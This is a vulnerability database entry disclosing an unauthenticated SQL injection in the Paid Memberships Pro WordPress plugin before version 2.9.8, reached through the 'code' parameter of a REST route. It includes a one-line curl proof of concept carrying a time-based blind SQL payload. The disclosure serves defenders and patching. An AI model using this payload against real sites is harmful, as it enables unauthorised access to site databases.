Lucene search

K
wpvulndbWpvulndbWPVDB-ID:9847EA7F-B3C3-4304-A03B-152264DDCCFA
HistoryJan 12, 2023 - 12:00 a.m.

Paid Membership Pro < 2.9.8 - Unauthenticated SQLi

2023-01-1200:00:00
wpscan.com
23
paid membership pro
unauthenticated
sql injection
rest route
vulnerable
2.9.8

0.054 Low

EPSS

Percentile

93.2%

The plugin does not properly sanitise and escape the code parameter before using it in a SQL statement via the /pmpro/v1/order REST route, leading to a SQL injection exploitable by unauthenticated users

PoC

curl “https://example.com/?rest_route=/pmpro/v1/order&amp;code;=a’ OR (SELECT 1 FROM (SELECT(SLEEP(2)))a)–%20-”

CPENameOperatorVersion
paid-memberships-prolt2.9.8

0.054 Low

EPSS

Percentile

93.2%